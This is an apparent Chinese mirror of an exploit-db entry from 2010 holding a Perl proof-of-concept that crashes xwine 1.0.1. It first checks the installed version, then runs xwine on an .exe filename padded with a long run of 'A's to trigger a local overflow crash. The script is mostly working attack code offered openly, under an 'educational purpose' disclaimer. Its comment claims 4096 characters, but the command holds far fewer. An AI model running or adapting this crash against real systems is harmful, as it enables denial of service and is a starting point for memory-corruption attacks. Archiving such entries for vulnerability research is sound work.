xwine 1.0.1 – ‘.exe’ Local Crash (PoC) - 体验盒子

作者： JosS

日期： 2010-03-29

类别：

dos

平台：

linux

来源：https://www.exploit-db.com/exploits/11932/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

# xwine v1.0.1 (.exe file) Local Crash PoC Exploit

# Install: sudo apt-get install xwine

#

# Author: JosS <Jose Luis Gongora Fernandez>

# mail: sys-project[at]hotmail[dot]com

# site: http://hack0wn.com/

# team: Spanish Hackers Team - [SHT]

#

# This was written for educational purpose. Use it at your own risk.

# Author will be not responsible for any damage.

<<crash.pl>>

#!/usr/local/bin/perl

chomp(my $version = <code>xwine --version</code>);

if ($version =~ m/v1.0.1/)

{

print "Starting PoC...\n";

# payload = "xwine" . "A" x 4096 . ".exe";

chomp(my $buffer = <code>xwine AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.exe</code>);

# print "$buffer\n\n";

}

else

{

print "\n[-] Xwine is not installed on the system\n\n";

exit(1);

}